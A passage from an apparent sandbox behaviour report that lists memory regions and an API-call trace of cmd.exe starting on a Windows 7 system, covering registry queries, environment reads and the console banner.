"c:\\windows\\system32\\gdi32.dll") Region: id = 671 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 672 start_va = 0x350000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 673 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 674 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 675 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 676 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 677 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 678 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 679 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 680 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 681 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 682 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 683 start_va = 0x1b80000 end_va = 0x1ec2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b80000" filename = "" Region: id = 684 start_va = 0x1ed0000 end_va = 0x1f97fff entry_point = 0x1ed0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 685 start_va = 0x1ed0000 end_va = 0x1f97fff entry_point = 0x1ed0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 686 start_va = 0x1fa0000 end_va = 0x2392fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 687 start_va = 0x23a0000 end_va = 0x266efff entry_point = 0x23a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 890 start_va = 0x310000 end_va = 0x320fff entry_point = 0x310000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Thread: id = 5 os_tid = 0x6b8 [0203.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fb50 | out: lpSystemTimeAsFileTime=0x16fb50*(dwLowDateTime=0xecc8e5f0, dwHighDateTime=0x1d4afed)) [0203.604] GetCurrentProcessId () returned 0x124 [0203.605] GetCurrentThreadId () returned 0x6b8 [0203.605] GetTickCount () returned 0x40df4 [0203.605] QueryPerformanceCounter (in: lpPerformanceCount=0x16fb58 | out: lpPerformanceCount=0x16fb58*=1832030400000) returned 1 [0203.605] GetModuleHandleW (lpModuleName=0x0) returned 0x4a610000 [0203.606] __set_app_type (_Type=0x1) [0203.606] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a637810) returned 0x0 [0203.606] __getmainargs (in: _Argc=0x4a65a608, _Argv=0x4a65a618, _Env=0x4a65a610, _DoWildCard=0, _StartInfo=0x4a63e0f4 | out: _Argc=0x4a65a608, _Argv=0x4a65a618, _Env=0x4a65a610) returned 0 [0203.606] GetCurrentThreadId () returned 0x6b8 [0203.606] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6b8) returned 0x3c [0203.606] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77740000 [0203.607] GetProcAddress (hModule=0x77740000, lpProcName="SetThreadUILanguage") returned 0x77756d40 [0203.607] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0203.607] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0203.607] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fae8 | out: phkResult=0x16fae8*=0x0) returned 0x2 [0203.607] VirtualQuery (in: lpAddress=0x16fad0, lpBuffer=0x16fa50, dwLength=0x30 | out: lpBuffer=0x16fa50*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0203.607] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fa50, dwLength=0x30 | out: lpBuffer=0x16fa50*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0203.607] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fa50, dwLength=0x30 | out: lpBuffer=0x16fa50*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0203.607] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16fa50, dwLength=0x30 | out: lpBuffer=0x16fa50*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0203.607] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fa50, dwLength=0x30 | out: lpBuffer=0x16fa50*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0203.607] GetConsoleOutputCP () returned 0x1b5 [0203.607] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a64bfe0 | out: lpCPInfo=0x4a64bfe0) returned 1 [0203.607] SetConsoleCtrlHandler (HandlerRoutine=0x4a633184, Add=1) returned 1 [0203.607] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.607] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0203.607] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.607] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a63e194 | out: lpMode=0x4a63e194) returned 0 [0203.607] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.608] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a63e198 | out: lpMode=0x4a63e198) returned 0 [0203.608] GetEnvironmentStringsW () returned 0x228a60* [0203.608] FreeEnvironmentStringsW (penv=0x228a60) returned 1 [0203.608] GetEnvironmentStringsW () returned 0x228a60* [0203.608] FreeEnvironmentStringsW (penv=0x228a60) returned 1 [0203.608] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e9a8 | out: phkResult=0x16e9a8*=0x44) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x18, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x1, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x1, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x0, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x40, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x40, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x40, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.608] RegCloseKey (hKey=0x44) returned 0x0 [0203.608] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e9a8 | out: phkResult=0x16e9a8*=0x44) returned 0x0 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x40, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.608] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x1, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.609] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x1, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.609] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x0, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.609] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x9, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.609] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x4, lpData=0x16e9c0*=0x9, lpcbData=0x16e9a4*=0x4) returned 0x0 [0203.609] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e9a0, lpData=0x16e9c0, lpcbData=0x16e9a4*=0x1000 | out: lpType=0x16e9a0*=0x0, lpData=0x16e9c0*=0x9, lpcbData=0x16e9a4*=0x1000) returned 0x2 [0203.609] RegCloseKey (hKey=0x44) returned 0x0 [0203.609] time (in: timer=0x0 | out: timer=0x0) returned 0x5c431047 [0203.609] srand (_Seed=0x5c431047) [0203.609] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0203.609] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0203.609] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a64c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0203.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0203.609] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0203.609] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0203.609] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0203.609] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0203.609] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0203.609] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0203.609] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0203.609] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0203.609] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0203.609] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0203.609] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0203.609] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0203.609] GetEnvironmentStringsW () returned 0x228a60* [0203.610] FreeEnvironmentStringsW (penv=0x228a60) returned 1 [0203.610] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0203.610] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0203.610] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0203.610] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0203.610] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0203.610] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0203.610] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0203.610] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0203.610] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0203.610] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0203.610] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f7b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0203.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f7b0, lpFilePart=0x16f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f790*="Desktop") returned 0x25 [0203.610] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0203.610] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f4c0 | out: lpFindFileData=0x16f4c0) returned 0x22b740 [0203.610] FindClose (in: hFindFile=0x22b740 | out: hFindFile=0x22b740) returned 1 [0203.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f4c0 | out: lpFindFileData=0x16f4c0) returned 0x22b740 [0203.610] FindClose (in: hFindFile=0x22b740 | out: hFindFile=0x22b740) returned 1 [0203.610] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0203.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f4c0 | out: lpFindFileData=0x16f4c0) returned 0x22b740 [0203.611] FindClose (in: hFindFile=0x22b740 | out: hFindFile=0x22b740) returned 1 [0203.611] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0203.611] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0203.611] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0203.611] GetEnvironmentStringsW () returned 0x22b740* [0203.611] FreeEnvironmentStringsW (penv=0x22b740) returned 1 [0203.611] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a64c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0203.611] GetConsoleOutputCP () returned 0x1b5 [0203.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a64bfe0 | out: lpCPInfo=0x4a64bfe0) returned 1 [0203.611] GetUserDefaultLCID () returned 0x409 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a647b50, cchData=8 | out: lpLCData=":") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f8c0, cchData=128 | out: lpLCData="0") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f8c0, cchData=128 | out: lpLCData="0") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f8c0, cchData=128 | out: lpLCData="1") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a65a740, cchData=8 | out: lpLCData="/") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a65a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a65a460, cchData=32 | out: lpLCData="Tue") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a65a420, cchData=32 | out: lpLCData="Wed") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a65a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a65a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a65a360, cchData=32 | out: lpLCData="Sat") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a65a700, cchData=32 | out: lpLCData="Sun") returned 4 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a647b40, cchData=8 | out: lpLCData=".") returned 2 [0203.612] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a65a4e0, cchData=8 | out: lpLCData=",") returned 2 [0203.612] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0203.613] GetConsoleTitleW (in: lpConsoleTitle=0x2295c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0203.613] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.613] GetFileType (hFile=0xf4) returned 0x3 [0203.613] BrandingFormatString () returned 0x2297e0 [0203.622] GetVersion () returned 0x1db10106 [0203.622] _vsnwprintf (in: _Buffer=0x16fa30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x16f9c8 | out: _Buffer="6.1.7601") returned 8 [0203.622] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.622] GetFileType (hFile=0xf4) returned 0x3 [0203.622] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a656340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0203.622] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a656340, nSize=0x2000, Arguments=0x16f9d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0203.623] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x16f958, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f958*=0x24, lpOverlapped=0x0) returned 1 [0203.623] _vsnwprintf (in: _Buffer=0x4a656340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f9f8 | out: _Buffer="\r\n") returned 2 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] GetFileType (hFile=0xf4) returned 0x3 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0203.623] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f9c8*=0x2, lpOverlapped=0x0) returned 1 [0203.623] _vsnwprintf (in: _Buffer=0x4a656340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x16f9f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] GetFileType (hFile=0xf4) returned 0x3 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0203.623] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x16f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f9c8*=0x3f, lpOverlapped=0x0) returned 1 [0203.623] _vsnwprintf (in: _Buffer=0x4a656340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f9f8 | out: _Buffer="\r\n") returned 2 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] GetFileType (hFile=0xf4) returned 0x3 [0203.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0203.623] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f9c8*=0x2, lpOverlapped=0x0) returned 1 [0203.623] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77740000 [0203.623] GetProcAddress (hModule=0x77740000, lpProcName="CopyFileExW") returned 0x777523d0 [0203.623] GetProcAddress (hModule=0x77740000, lpProcName="IsDebuggerPresent") returned 0x77748290 [0203.623] GetProcAddress (hModule=0x77740000, lpProcName="SetConsoleInputExeNameW") returned 0x777517e0 [0203.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.623] GetFileType (hFile=0xe8) returned 0x3 [0203.623] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0203.623] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x16f820 | out: TokenHandle=0x16f820*=0x0) returned 0xc000007c [0203.624] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x16f820 | out: TokenHandle=0x16f820*=0x50) returned 0x0 [0203.624] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x16f830, TokenInformationLength=0x4, ReturnLength=0x16f838 | out: TokenInformation=0x16f830, ReturnLength=0x16f838) returned 0x0 [0203.624] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x16f838, TokenInformationLength=0x4, ReturnLength=0x16f830 | out: TokenInformation=0x16f838, ReturnLength=0x16f830) returned 0x0 [0203.624] NtClose (Handle=0x50) returned 0x0 [0203.624] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x16f800, nSize=0x0, Arguments=0x16f808 | out: lpBuffer="\x97e0\x22") returned 0xf [0203.624] GetConsoleTitleW (in: lpConsoleTitle=0x16f850, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0203.624] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0203.624] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0203.625] LocalFree (hMem=0x2297e0) returned 0x0 [0203.625] _vsnwprintf (in: _Buffer=0x4a656340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f538 | out: _Buffer="\r\n") returned 2 [0203.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.625] GetFileType (hFile=0xf4) returned 0x3 [0203.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0203.625] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f508, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f508*=0x2, lpOverlapped=0x0) returned 1 [0203.625] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0203.625] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a64c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0203.625] _vsnwprintf (in: _Buffer=0x4a63eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0203.625] _vsnwprintf (in: _Buffer=0x4a63ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16f548 | out: _Buffer=">") returned 1 [0203.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.625] GetFileType 